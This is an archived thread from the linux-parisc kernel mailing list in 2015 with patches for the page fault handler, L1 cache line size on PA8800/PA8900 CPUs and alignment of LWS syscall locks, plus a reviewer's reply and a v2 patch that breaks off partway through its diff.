Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: additionally check for in_atomic() in page fault
 handler
Date: Wed, 2 Sep 2015 18:18:48 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <20150902161848.GB2444@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1441210745 4094 80.91.229.3 (2 Sep 2015 16:19:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 2 Sep 2015 16:19:05 +0000 (UTC)
Cc: Craig Estey <cae370@gmail.com>,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 02 18:18:58 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZXAkT-0001On-0k
	for glpp-linux-parisc@plane.gmane.org; Wed, 02 Sep 2015 18:18:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751876AbbIBQS5 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 2 Sep 2015 12:18:57 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:58846 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751268AbbIBQS4 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 2 Sep 2015 12:18:56 -0400
Original-Received: from ls3530.box ([92.203.6.179]) by mail.gmx.com (mrgmx001) with
 ESMTPSA (Nemesis) id 0M0h9K-1Yh9Bl1zeo-00uphx; Wed, 02 Sep 2015 18:18:51
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:ombL0MRS6ar+7JgWqbrobGv3WTNdgiLAdFkf4RGTzuhAqFJqnly
 rfuylWxoHHB5fX36VicAt/DH3HKstSpsALxitk8lL0wJ2R6BUliP/im7nyAiXUYmm5gVfGo
 GCiRMFCQRQi+Qg0WYG8u0up8m7lt7YbFmqHPpWJWETxW8AlxAAPfLa6FaVhxEp7uRd85bdA
 8mbsWFqyuTTvmd7eomT7w==
X-UI-Out-Filterresults: notjunk:1;V01:K0:shNPgZbBXNo=:aMnufLe5EwmfD+G96lHYK6
 hxhyNDWPRo5Qbjxovf/ovZqJbZqTi4YL96JeV7KLZo8AR2M5S1hVruv2roVeYt6QG8413A94V
 yoNhfrC3mHs608DkgYgHQFAu4dWgePIvrFRDuDygWBaMRSj4KpMOd2oirUByiVjKHA1hsmwxp
 kZZ70WiM6Qh6ww2gQgfUcz5acEXGKRjv+KR00A+kkpB5fOockmBvtIvDjOTOCFrepMRTu0nAL
 4TLE76zT69IeyVbGAwSH9bjPaY8RXQW7BAhONmZidcd63FyOQqWfTDtyHy6mGAi4PPrfm1sgt
 AQEKcJGqyFG91iHCIUMrkH58trgdffHNVR4oCzd22TMSoSwXanxkX2FOLGd1k3F8DL+jgfgdg
 R16bnF/KNnuCZr4S1QBXOnlJUgliTViqva+LrrwTPCvaSkXIZeG73W9RdElpOZVxOTuUuZssY
 rkk/utfgkJVuX1tXe9hFZbQW1sT7ZMnq3ydA+yhMLf40F2B3AStI0HZDxymJ3uHVvT7rletm1
 XXX4PvavLEfISk+hEaZBhu5UEEvtqEOZVHTNjsxVQYC9QBlZcZHo9xk0w5X626ry6LZpzduV1
 9w/g7vvtIZEXRfTebK9sUNm1nmlhSjEF6OaPa/tD64DgZIlh5pdIa6FRBco8LV/q7RF8HEInb
 GCKrIatLGoZJrrYsEdClLlTXcN4vEo/e6rJOXZkmkYbM5K+i+X+zmDJW43pR2R2tuR+vnuWo3
 1zv36YHxxEA5bZc0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25999
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25999>

Craig Estey noticed that we didn't checked for in_atomic() in our page fault
handler like other architectures. This commit adds this check by using
faulthandler_disabled() which includes a check for pagefault_disabled() and
in_atomic().

Reported-by: Craig Estey <cae370@gmail.com>
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index 15503ad..ac6f174 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -207,7 +207,7 @@ void do_page_fault(struct pt_regs *regs, unsigned long code,
 	int fault;
 	unsigned int flags;
 
-	if (pagefault_disabled())
+	if (faulthandler_disabled())
 		goto no_context;
 
 	tsk = current;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: adjust L1_CACHE_BYTES to 128 bytes on PA8800 and
 PA8900 CPUs
Date: Wed, 2 Sep 2015 18:20:00 +0200
Lines: 64
Approved: news@gmane.org
Message-ID: <20150902162000.GC2444@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1441210825 5386 80.91.229.3 (2 Sep 2015 16:20:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 2 Sep 2015 16:20:25 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 02 18:20:16 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZXAlf-0002mJ-Ue
	for glpp-linux-parisc@plane.gmane.org; Wed, 02 Sep 2015 18:20:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752763AbbIBQUL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 2 Sep 2015 12:20:11 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:50310 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752464AbbIBQUL (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 2 Sep 2015 12:20:11 -0400
Original-Received: from ls3530.box ([92.203.6.179]) by mail.gmx.com (mrgmx101) with
 ESMTPSA (Nemesis) id 0Lqm3a-1Z1ysQ1Kkc-00eKIO; Wed, 02 Sep 2015 18:20:04
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:skq195tlu2ZjzmMLV1wMTzeKFXnrGj7l5iH9hIsqfA7oC73bbnA
 xd715EcEUtb5UMAjvUGgtHxEVav6w2b6JVgjLn5Wr1ENzEwWbFI+IAOL4ZjENJUH0oahu33
 7SitvFH+Jz05/qPLJg2wS65dYqqiGJucs640OMJ1pVx3vhztD4WSRkPXt7pOUQ2VP4T3bmP
 0VT1tzIl9rm5fdPKbAvOw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:zHkcB8MayFw=:s5Q9Ky8/Mug6ia0qQ7r0f6
 7zjKdHJa6Aue8T5G/RQqKTNvS3MP7u9b1TgBxE82uqJH/jF4hqaIP8S4lKlWZUIV0dvDPlC5b
 F1u4e9n9kDIUvEVL8Ln9cumAQJIsQL8OeBU6KdWQEgbmQYIukXi7aAFqOMEiBpetzB/P3V14X
 DUAa+zbWqcNMvwkKQta6CZFa3OsQU46tUzjzs/BMjgF8oMOdgtni29uDeZnhUhe82sQDKmFpQ
 u3lFMD/yOR/0LJdL31cpSjSV4t62X5VXEZ9EJqak8Rbx2V/1k9/e2IJJVw3+S9d/dWqr8Ltid
 tsrJ43kLquNDy+0QeCtohhMsYYZUkHMJtM+ssy7kWEdoUZxdMD+mSW3jZebGnVDp0f1lHTuqv
 c3N+7TqGpLo9cCkzh9njWCAI62PLBIhz+Kw23p+3wjE09joJ0DVLCkTAmPI5xpGY+OcgFpgZZ
 Xnr5vkdPfLRG9o9pHfFPE3Cag++ibIxGLBy1P9nHn8+eun36MX6Tl1mOf/pcU1EH/OQZZdP6w
 SaefgRNYtUWgAVGot3cOorWyGk0dVtUjBKKHwFt8eixyCuXj67/oLcE0j2eOat4BqbbWphWf/
 /ISzXUq6q6NQkGuDTxu5JpWImaXsPZSghJTrfHyrJSP55VvueOs0TGXjK75ghC2MCWKOgsBTp
 JuwPOG5Ov7dYGBFfQEuk9UYIPhpXtbmwS2sRrxW+ty+hg052kKOjTf3zhdL4HpYKmuBw0YhUl
 B0gb78wiuvjVlm2b
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26000
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26000>

PA8800 and PA8900 processors have a cache line length of 128 bytes.

Reported-by: John David Anglin <dave.anglin@bell.net>
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/cache.h b/arch/parisc/include/asm/cache.h
index 47f11c7..a775f60 100644
--- a/arch/parisc/include/asm/cache.h
+++ b/arch/parisc/include/asm/cache.h
@@ -7,17 +7,19 @@
 
 
 /*
- * PA 2.0 processors have 64-byte cachelines; PA 1.1 processors have
- * 32-byte cachelines.  The default configuration is not for SMP anyway,
- * so if you're building for SMP, you should select the appropriate
- * processor type.  There is a potential livelock danger when running
- * a machine with this value set too small, but it's more probable you'll
- * just ruin performance.
+ * Most PA 2.0 processors have 64-byte cachelines, but PA8800 and PA8900
+ * processors have a cache line length of 128 bytes.
+ * PA 1.1 processors have 32-byte cachelines.
+ * There is a potential livelock danger when running a machine with this value
+ * set too small, but it's more probable you'll just ruin performance.
  */
-#ifdef CONFIG_PA20
+#if defined(CONFIG_PA8X00)
+#define L1_CACHE_BYTES 128
+#define L1_CACHE_SHIFT 7
+#elif defined(CONFIG_PA20)
 #define L1_CACHE_BYTES 64
 #define L1_CACHE_SHIFT 6
-#else
+#else /* PA7XXX */
 #define L1_CACHE_BYTES 32
 #define L1_CACHE_SHIFT 5
 #endif

diff --git a/arch/parisc/include/asm/atomic.h b/arch/parisc/include/asm/atomic.h
index 226f8ca9..b2bc4b7 100644
--- a/arch/parisc/include/asm/atomic.h
+++ b/arch/parisc/include/asm/atomic.h
@@ -19,14 +19,14 @@
 
 #ifdef CONFIG_SMP
 #include <asm/spinlock.h>
-#include <asm/cache.h>		/* we use L1_CACHE_BYTES */
+#include <asm/cache.h>		/* we use L1_CACHE_SHIFT */
 
 /* Use an array of spinlocks for our atomic_ts.
  * Hash function to index into a different SPINLOCK.
  * Since "a" is usually an address, use one spinlock per cacheline.
  */
 #  define ATOMIC_HASH_SIZE 4
-#  define ATOMIC_HASH(a) (&(__atomic_hash[ (((unsigned long) (a))/L1_CACHE_BYTES) & (ATOMIC_HASH_SIZE-1) ]))
+#  define ATOMIC_HASH(a) (&(__atomic_hash[ (((unsigned long) (a)) >> L1_CACHE_SHIFT) & (ATOMIC_HASH_SIZE-1) ]))
 
 extern arch_spinlock_t __atomic_hash[ATOMIC_HASH_SIZE] __lock_aligned;
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Align locks for LWS syscalls to L1 cache size
Date: Wed, 2 Sep 2015 21:38:40 +0200
Lines: 54
Approved: news@gmane.org
Message-ID: <20150902193840.GA4499@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1441222743 9141 80.91.229.3 (2 Sep 2015 19:39:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 2 Sep 2015 19:39:03 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	ohn David Anglin <dave.anglin@bell.net>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 02 21:38:50 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZXDru-0002hn-6c
	for glpp-linux-parisc@plane.gmane.org; Wed, 02 Sep 2015 21:38:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756065AbbIBTit (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 2 Sep 2015 15:38:49 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:55871 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755159AbbIBTis (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 2 Sep 2015 15:38:48 -0400
Original-Received: from ls3530.box ([92.203.6.179]) by mail.gmx.com (mrgmx002) with
 ESMTPSA (Nemesis) id 0LsCdj-1YY1Nc1vCh-013tBi; Wed, 02 Sep 2015 21:38:43
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:ky30SthOyU27rWc5CXPaub5tdphhQzDneBnyqK7SDryT7X5uJDJ
 VIJEoTJNxUYiTGFX8l1/eF2dbMhyBDJAKhZX9X8yrs7AQlZYxwJm+UAO6ix24ZKld/+psEP
 phk9AWHg9FsJnLVGozqLPm2/pOwSWcZhO5MBPWAMP/I8K6PY+GCv7Mj/r6hfPxI8VrDGuzY
 0FgRHr1SGcu24rsls2i+w==
X-UI-Out-Filterresults: notjunk:1;V01:K0:RPPj2ld2euQ=:Yt6srsuL2cWNzBapaVku03
 xWRy5q29pPI+zVCY3STKoWgUCBQZptrX7XRS3gbLtxfitVGgqelTtpsqswtL1GcKFNw5+dcc9
 rHTLVUyHAF1YOT0QV6R1S9bthzNDmdNvI0dr8YlBEQcTH9y88kx/TS+oEaP5/2DAjUf5m3QW6
 daDK5ewF+5VRI9mZ+9hQ4tUJLSHp6FyQ7rAQQ3QePbclXOChXz1VvHdCW0qDzT5Kvx5cq4Lro
 RHlcSu4ouQ776KweILeXo24rvoQeTZLBQPjls3bg7gaW+r028ovj+O2HJZv62Ze3CGrO3vGYa
 YkI8mQYBqeJ+bo84LM4FcLxNpeaSX54M7XckTU2nL087JlbOJbKb+kbmvHW1Cp0wgwmJNOYv5
 7/uD9+MvSbnHCf59x8ZcI2Bhb19FwJxQxNJTuVhqo9cCbortaWCYguwljmvXexQPHMu9leJ/s
 NWddUo9OO9jSMfUv1ZsjYD9er02Ms99WtVX2pF9J5f6eZ50v28m7g3HdzEqwfa6zO05Mt3xRJ
 FsGg3eul2G9THiW4AjEW0uyTlkOBHHr2awKJOwtyHREKzBGfrdHysj0hy1Py9bhmDqSqGzHJT
 /EOhhcZQe7ii4R44L3oYXMbD6x0DK39bkLrQUOHyYfidCpsGLjcp1eCv+Kexy5mj1ggbii05n
 x7cxwkJ5s1n5UlwI6NeWEeqpEwhc2ZJWmBbAF2MfpG972q0JuWJLe97jkhDtpMq9UOAGJ2QeA
 t8NGe7rH83ZMSA9j
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26001
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26001>

Align the locks for the Light weight syscall (LWS) which is used for
atomic userspace operations (e.g. gcc atomic builtins) on L1 cache
boundaries. This should speed up LWS calls on PA20 systems.

Reported-by: John David Anglin <dave.anglin@bell.net>
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index 7ef22e3..80c2306 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -561,9 +561,9 @@ lws_compare_and_swap:
 	extru  %r26, 27, 4, %r20
 
 	/* Find lock to use, the hash is either one of 0 to
-	   15, multiplied by 16 (keep it 16-byte aligned)
+	   15, multiplied by L1_CACHE_BYTES (keep it L1 cache aligned)
 	   and add to the lock table offset. */
-	shlw	%r20, 4, %r20
+	shlw	%r20, L1_CACHE_SHIFT, %r20
 	add	%r20, %r28, %r20
 
 # if ENABLE_LWS_DEBUG
@@ -751,9 +751,9 @@ cas2_lock_start:
 	extru  %r26, 27, 4, %r20
 
 	/* Find lock to use, the hash is either one of 0 to
-	   15, multiplied by 16 (keep it 16-byte aligned)
+	   15, multiplied by L1_CACHE_BYTES (keep it L1 cache aligned)
 	   and add to the lock table offset. */
-	shlw	%r20, 4, %r20
+	shlw	%r20, L1_CACHE_SHIFT, %r20
 	add	%r20, %r28, %r20
 
 	rsm	PSW_SM_I, %r0			/* Disable interrupts */
@@ -931,11 +931,9 @@ END(sys_call_table64)
 ENTRY(lws_lock_start)
 	/* lws locks */
 	.rept 16
-	/* Keep locks aligned at 16-bytes */
+	/* Keep locks aligned to L1_CACHE_BYTES */
 	.word 1
-	.word 0 
-	.word 0
-	.word 0
+	.align	L1_CACHE_BYTES
 	.endr
 END(lws_lock_start)
 	.previous
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Align locks for LWS syscalls to L1 cache size
Date: Wed, 2 Sep 2015 15:46:59 -0400
Lines: 67
Approved: news@gmane.org
Message-ID: <BLU437-SMTP56D79424A5305ECD3DC75F97690@phx.gbl>
References: <20150902193840.GA4499@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="windows-1252"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1441223235 16837 80.91.229.3 (2 Sep 2015 19:47:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 2 Sep 2015 19:47:15 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>
To: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 02 21:47:06 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZXDzr-0005wh-J4
	for glpp-linux-parisc@plane.gmane.org; Wed, 02 Sep 2015 21:47:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753579AbbIBTrE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 2 Sep 2015 15:47:04 -0400
Original-Received: from blu004-omc4s13.hotmail.com ([65.55.111.152]:52092 "EHLO
	BLU004-OMC4S13.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750852AbbIBTrD (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 2 Sep 2015 15:47:03 -0400
Original-Received: from BLU437-SMTP56 ([65.55.111.137]) by BLU004-OMC4S13.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.23008);
	 Wed, 2 Sep 2015 12:47:02 -0700
X-TMN: [7vJ54qQMZRsNgEiL21pnIgYiTEAjsTs8]
X-Originating-Email: [dave.anglin@bell.net]
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:38.0) Gecko/20100101
 Thunderbird/38.2.0
In-Reply-To: <20150902193840.GA4499@ls3530.box>
X-OriginalArrivalTime: 02 Sep 2015 19:47:01.0041 (UTC) FILETIME=[2290EA10:01D0E5B8]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26002
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26002>

The LWS locks are also used for futex operations.  The shifts in
arch/parisc/include/asm/futex.h need a corresponding update.

Dave

On 2015-09-02 3:38 PM, Helge Deller wrote:
> Align the locks for the Light weight syscall (LWS) which is used for
> atomic userspace operations (e.g. gcc atomic builtins) on L1 cache
> boundaries. This should speed up LWS calls on PA20 systems.
>
> Reported-by: John David Anglin <dave.anglin@bell.net>
> Signed-off-by: Helge Deller <deller@gmx.de>
>
> diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
> index 7ef22e3..80c2306 100644
> --- a/arch/parisc/kernel/syscall.S
> +++ b/arch/parisc/kernel/syscall.S
> @@ -561,9 +561,9 @@ lws_compare_and_swap:
>   	extru  %r26, 27, 4, %r20
>   
>   	/* Find lock to use, the hash is either one of 0 to
> -	   15, multiplied by 16 (keep it 16-byte aligned)
> +	   15, multiplied by L1_CACHE_BYTES (keep it L1 cache aligned)
>   	   and add to the lock table offset. */
> -	shlw	%r20, 4, %r20
> +	shlw	%r20, L1_CACHE_SHIFT, %r20
>   	add	%r20, %r28, %r20
>   
>   # if ENABLE_LWS_DEBUG
> @@ -751,9 +751,9 @@ cas2_lock_start:
>   	extru  %r26, 27, 4, %r20
>   
>   	/* Find lock to use, the hash is either one of 0 to
> -	   15, multiplied by 16 (keep it 16-byte aligned)
> +	   15, multiplied by L1_CACHE_BYTES (keep it L1 cache aligned)
>   	   and add to the lock table offset. */
> -	shlw	%r20, 4, %r20
> +	shlw	%r20, L1_CACHE_SHIFT, %r20
>   	add	%r20, %r28, %r20
>   
>   	rsm	PSW_SM_I, %r0			/* Disable interrupts */
> @@ -931,11 +931,9 @@ END(sys_call_table64)
>   ENTRY(lws_lock_start)
>   	/* lws locks */
>   	.rept 16
> -	/* Keep locks aligned at 16-bytes */
> +	/* Keep locks aligned to L1_CACHE_BYTES */
>   	.word 1
> -	.word 0
> -	.word 0
> -	.word 0
> +	.align	L1_CACHE_BYTES
>   	.endr
>   END(lws_lock_start)
>   	.previous
>
>


-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Align locks for LWS syscalls to L1 cache size
Date: Wed, 2 Sep 2015 22:29:11 +0200
Lines: 80
Approved: news@gmane.org
Message-ID: <20150902202911.GA5164@ls3530.box>
References: <20150902193840.GA4499@ls3530.box>
 <BLU437-SMTP56D79424A5305ECD3DC75F97690@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1441225778 27025 80.91.229.3 (2 Sep 2015 20:29:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 2 Sep 2015 20:29:38 +0000 (UTC)
To: John David Anglin <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Sep 02 22:29:31 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZXEew-0007Iw-QJ
	for glpp-linux-parisc@plane.gmane.org; Wed, 02 Sep 2015 22:29:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756078AbbIBU3Y (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 2 Sep 2015 16:29:24 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:60158 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756039AbbIBU3R (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 2 Sep 2015 16:29:17 -0400
Original-Received: from ls3530.box ([92.203.6.179]) by mail.gmx.com (mrgmx002) with
 ESMTPSA (Nemesis) id 0M0Ppl-1YhJzT3cDd-00uZOQ; Wed, 02 Sep 2015 22:29:15
 +0200
Content-Disposition: inline
In-Reply-To: <BLU437-SMTP56D79424A5305ECD3DC75F97690@phx.gbl>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:QNbm7YlPGr8JuS2g8evYhXcbytPIE46nQ5BDbT3LENsH2LC8YTl
 hZ15YP6CjSDuA7Z5qW2me6OjiMT4UaaTtF10ngo3ZgOGUoT/7ivUxtDrk1JzlhWAprNoWV8
 uzKjs2Q3q5iUS4SNwzwLQGbBh0tnr71MtXVf0+S2VDOcAVsZVth9CgZU4G4W3r/yt4M7Lkm
 OqUltV28K5vxRBp+iNT9A==
X-UI-Out-Filterresults: notjunk:1;V01:K0:2rEX0+piLYc=:ON3ihI6wtbW0DP3l6PhaYK
 HX3722VxSPcslt7BwMFsO9WiGI5w7WQRweyQ6gG/QLS1RN+HbNU1cytGuC8/9/HX1cgThFeCc
 G8xJchO4IvGSCj7lmxQrZr1fjpre2Y9C4nGFZBXdLa11NTOT2TTk+6+zCLcMY9dS9JvPlGaWk
 MUO6vDLuTyUdQhB/70AQuNAFRjB3SadQsxdyrsOuoZNY+LBge9f6nEy3gMFzWMXSwyn7EWZk9
 S7HqvkaU+jODxHW6up24iM39VQ2lPGk2V4vuaoLSnOzYBaTTB8jD5byZMkblL8F1qoiMiUPE0
 pUvSDkQadAmKcpdPGQvqc2v+4C2YsrJXXu5ubKVzS2ZjsLWaUDXHp90dLay4JtITzdefX0SE9
 eeNLeGiRqX3eeGP7BeJla+F/jIJY4idCDN49Yn8PSJDUT3OsbYj5FLPXUHZAnkGTTFisB4U6W
 QlwFaT0wupK8B8zMrhGzIsDpCdWrZ4t498TUcJ4eTxfQitlJwLOhAsKug1dCIF4j5DF+eKuJG
 kNVLYI9K68JBRNgWmtf9tNW+JUeGewSulLEd09PJbaKtKaf26i65iAB5QtRRYUBv+vjgW2F6D
 AH2S2soW7JvXdBJVMo7A/su512gmLgN5bsqupD2BehtfpTzZICB5wnuj9RQFZ/3a3Rpy85C7n
 6GWhnS2qSz8yDp3PK/K3apmVaWWm15Xg1q5fCZWqeWr3lNlSiMqM3tmRIVMnfvgvAKrHbRmAl
 PZBsaAFtlFUN8RFN
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26003
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26003>

parisc: Align locks for LWS syscalls to L1 cache size (v2)

Align the locks for the Light-weight-syscall (LWS) which are used
for atomic userspace operations (e.g. gcc atomic builtins) on L1 cache
boundaries. This should speed up LWS calls on PA20 systems.

Reported-by: John David Anglin <dave.anglin@bell.net>
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index 7ef22e3..80c2306 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -561,9 +561,9 @@ lws_compare_and_swap:
 	extru  %r26, 27, 4, %r20
 
 	/* Find lock to use, the hash is either one of 0 to
-	   15, multiplied by 16 (keep it 16-byte aligned)
+	   15, multiplied by L1_CACHE_BYTES (keep it L1 cache aligned)
 	   and add to the lock table offset. */
-	shlw	%r20, 4, %r20
+	shlw	%r20, L1_CACHE_SHIFT, %r20
 	add	%r20, %r28, %r20
 
 # if ENABLE_LWS_DEBUG
@@ -751,9 +751,9 @@ cas2_lock_start:
 	extru  %r26, 27, 4, %r20
 
